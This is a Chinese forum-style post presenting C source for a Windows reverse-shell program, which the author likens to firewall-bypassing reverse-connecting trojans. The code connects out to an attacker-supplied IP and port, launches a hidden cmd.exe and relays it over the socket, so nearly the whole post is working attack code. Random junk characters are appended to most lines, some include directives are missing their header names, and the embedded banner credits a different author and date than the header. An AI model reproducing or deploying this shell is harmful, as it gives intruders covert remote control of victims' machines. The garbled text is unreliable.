Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ]Y4q'KH  
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/* ============================== }A1|jY)x  
Rebound port in Windows NT @%OPy|=,{  
By wind,2006/7 LAv:+o(m/  
===============================*/ dUoWo3r=  
#include 4jX@m  
#include 5=Kq@[(4  
ZT) !8  
#pragma comment(lib,"wsock32.lib") |5=~(-I>@  
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void OutputShell(); 5zNSEI"PY  
SOCKET sClient; s, n^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @up&q  
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void main(int argc,char **argv) ^W Y8-6  
{ q
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WSADATA stWsaData; {I0w`xe  
int nRet; l`@0zw+  
SOCKADDR_IN stSaiClient,stSaiServer; >u=%Lz"J  
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if(argc != 3) (n=9c%w  
{ f).*NX  
printf("Useage:\n\rRebound DestIP DestPort\n"); &Nc[$H7<  
return; fL!V$]HNt  
} 7:n?PN(p6a  
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,H>
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stSaiClient.sin_family = AF_INET; b-PSm=`  
stSaiClient.sin_port = htons(0); hZcmP"wgC1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s(teQ\  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2(pLxVl  
{ R"@7m!IA  
printf("Bind Socket Failed!\n"); H#OYw#L"u  
return; >-!r9"8@  
} G'u|Q mb1  
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stSaiServer.sin_family = AF_INET; Cl,9yU)1n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4S tjj!ew  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wfE^Sb3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +jUgx;u,  
{ :vpl+)n  
printf("Connect Error!"); IroPx#s:i  
return; RT,:hH  
} GWhE8EDT  
OutputShell(); c&E]E
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} E, GN|l  
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void OutputShell() K4:  $=  
{ e!GZSk   
char szBuff[1024]; 6ZcXS  
SECURITY_ATTRIBUTES stSecurityAttributes; 6hO-H&r++  
OSVERSIONINFO stOsversionInfo; O5zE {#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p}uncIod  
STARTUPINFO stStartupInfo; dN< ,%}R  
char *szShell; nob0T5G  
PROCESS_INFORMATION stProcessInformation; onwjn+"&  
unsigned long lBytesRead; nq1 'F
  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \w%@?Qik  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A (okv  
stSecurityAttributes.lpSecurityDescriptor = 0; 7/aOsW"6  
stSecurityAttributes.bInheritHandle = TRUE; 1yMr~Fo  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xR?V,uV'$&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vQ1 v#Z  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 19W:-O
m  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8PBvV[  
stStartupInfo.wShowWindow = SW_HIDE; T7[NcZ:I  
stStartupInfo.hStdInput = hReadPipe; ml0*1Dw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; du_4eB  
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GetVersionEx(&stOsversionInfo); K\u_Ji]k  
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switch(stOsversionInfo.dwPlatformId) n<7u>;SJQ  
{ sILSey5`  
case 1: T^:fn-S}=  
szShell = "command.com"; Q
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break; ]PR#W_&q  
default: YlF%UPp  
szShell = "cmd.exe"; -oP'4QVb  
break; GpI!J}~m
 
} c{Ou^.yR  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Uz dc  
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send(sClient,szMsg,77,0); `$TRleSi  
while(1) 2=iH
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{ !.TLW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }H"kU2l  
if(lBytesRead) x@KZ]  
{ ~xLJe`"JUx  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OI}cs2m  
send(sClient,szBuff,lBytesRead,0); #oni:]E!m  
} T~:|!`  
else &--ej|n  
{ ZJ*g))k7  
lBytesRead=recv(sClient,szBuff,1024,0); N!2Rl  
if(lBytesRead<=0) break; cV{o?3<:B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !\Xm!I8  
} JW.=T)  
} TuDE@ gq(  
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return; JM- t<.  
}